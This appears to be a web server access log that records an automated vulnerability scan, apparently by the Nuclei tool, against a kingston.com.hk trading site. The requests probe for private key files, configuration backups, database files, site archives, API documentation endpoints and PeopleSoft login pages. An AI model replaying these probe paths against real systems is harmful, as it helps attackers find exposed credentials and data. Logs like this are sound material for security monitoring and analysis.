[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger/ui/index HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/api/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //services.php HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /private/trade.kingston.com.hk.key HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.gz HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //__swagger__/ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //boxed.php HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/explorer HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/app.db HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /keys/trade.kingston.com.hk.pem HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.lz HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.~ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_swagger_/ HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php HTTP/1.1" 196
[09/Jan/2026:10:52:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graph HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.rar HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.~ HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/v1/swagger-ui/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pbw.txt HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/v1/swagger-ui/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //aw.txt HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/database.db HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-resources/restservices/v2/api-docs HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //hx.txt HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger_doc.json HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.xz HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.bk HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/production.db HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //vz.txt HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927420206 HTTP/1.1" -
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //docu HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.zip HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cl.html HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //docs HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.z HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //asi.html HTTP/1.1" 196
[09/Jan/2026:10:52:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.Z HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //public HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api-doc HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cache HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.tgz HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //doc/ HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //info.txt HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.db HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui/springfox.js HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql.php HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ir.html HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.jar HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui/swagger-ui-standalone-preset.js HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927433238 HTTP/1.1" -
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql/console HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //me.html HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui/swagger-ui/swagger-ui-bundle.js HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //px.html HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //webjars/swagger-ui/swagger-ui-bundle.js HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:52:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //px.php HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //webjars/swagger-ui/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //F.html HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/playground HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //frost.txt HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/subscriptions HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927419605 HTTP/1.1" -
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //-.txt HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3 HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //!.txt HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.com.hk.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v3/altair HTTP/1.1" 196
[09/Jan/2026:10:52:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/app.db HTTP/1.1" 196
